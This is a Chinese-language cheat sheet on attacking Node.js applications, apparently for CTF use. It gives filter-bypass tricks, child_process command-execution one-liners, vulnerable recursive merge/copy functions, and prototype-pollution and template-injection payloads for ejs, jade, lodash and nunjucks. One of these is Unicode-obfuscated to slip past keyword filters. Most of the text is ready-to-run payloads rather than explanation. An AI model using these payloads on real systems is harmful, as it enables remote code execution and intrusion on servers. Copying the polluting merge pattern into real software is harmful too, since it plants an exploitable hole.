node.js绕过

绕过

toUpperCase() / toLowerCase()

  1. 特殊字符

    'ı'.toUpperCase()='I''ſ'.toUpperCase()='S''K'.toLowerCase()='k'

命令执行 (RCE)

1
2
Object.values(require('child_process'))[5]('cat${IFS}/G*>p')
require('child_process').spawnSync('nl',['p']).stdout.toString()

绕过

关键词

obj.contructorobj["contr"+"uctor"]obj["constru".concat("ctor")]String.fromCharCode(xxx)

thiseval("th"+"is")

__proto__constructor.prototype

原型链污染

原理

对于语句 object[a][b] = value 如果可以控制a, b, value的值,将a设置为 __proto__, 就可以给object对象的原型设置一个b属性,值为value,这样所有继承object对象原型的实例对象会在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

常用污染函数

merge()

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

clone()

1
2
3
function clone(obj) {
return merge({}, obj);
}

copy()

1
2
3
4
5
6
7
8
9
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

常见模板引擎

ejs

1
2
3
4
5
6
7
8
9
10
{"__proto__":{"__proto__":{"outputFunctionName":"a=1; return global.process.mainModule.constructor._load('child_process').execSync('id'); //"}}}

{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('id'); __tmp2"}}}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('id');","compileDebug":true}}}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('id');","compileDebug":true,"debug":true}}}

SSTI
<%- global.process.mainModule.require('child_process').execSync('id') %>

jade

1
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}

lodash

1
{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('dir',function(){});"}}

nunjucks

1
2
3
4
5
6
7
8
9
10
11
{{range.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}

{{range.constructor("return global.process.mainModule.require('child_process').execSync('ls /').toString()")()}}

{{'string'.toString.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}

{{'string'.constructor.constructor("return global.process.mainModule.require('child_process').exec('calc')")()}}

绕过:
(使用unicode编码和`+`字符串拼接绕过关键字的过滤,用 `[]` 来绕过 `.`)
{{"string"["toSt"+"ring"]["const"+"ructor"]("return(global[\"\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\"][\"\\u006d\\u0061\\u0069\\u006e\\u004d\\u006f\\u0064\\u0075\\u006c\\u0065\"][\"\\u0072\\u0065\\u0071\\u0075\\u0069\\u0072\\u0065\"](\"\\u0063\\u0068\\u0069\\u006c\\u0064\\u005f\\u0070\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073\")[\"\\u0065\\u0078\\u0065\\u0063\\u0053\\u0079\\u006e\\u0063\"](\"id\")[\"\\u0074\\u006f\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\"]())")()}}